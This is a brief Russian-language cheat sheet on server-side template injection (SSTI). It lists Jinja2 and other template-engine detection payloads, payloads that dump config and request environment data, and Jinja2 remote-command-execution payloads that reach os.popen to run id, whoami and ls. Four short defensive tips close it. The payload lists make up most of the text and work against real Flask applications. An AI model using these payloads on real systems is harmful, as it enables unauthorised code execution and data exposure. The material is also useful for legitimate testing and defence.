Шпаргалка по SSTI

🎯 Payloads для обнаружения
Jinja2 (Flask):
\{\{7*7\}\}
\{\{7*'7'\}\}
\{\{1+1\}\}
Другие шаблонизаторы:
${7*7}
<%= 7*7 %>
#{7*7}
📋 Чтение информации
\{\{config\}\}
\{\{request.environ\}\}
\{\{self\}\}
💥 RCE (выполнение команд)
\{\{config.__class__.__init__.__globals__['os'].popen('id').read()\}\}
\{\{lipsum.__globals__['os'].popen('whoami').read()\}\}
\{\{cycler.__init__.__globals__.os.popen('ls').read()\}\}
🛡️ Методы защиты
  • Экранирование: Всегда используйте escape() для пользовательского ввода
  • Шаблоны: Используйте стандартные шаблоны Flask вместо render_template_string()
  • Валидация: Проверяйте и фильтруйте все входные данные
  • Sandbox: Используйте sandbox-режим для шаблонизаторов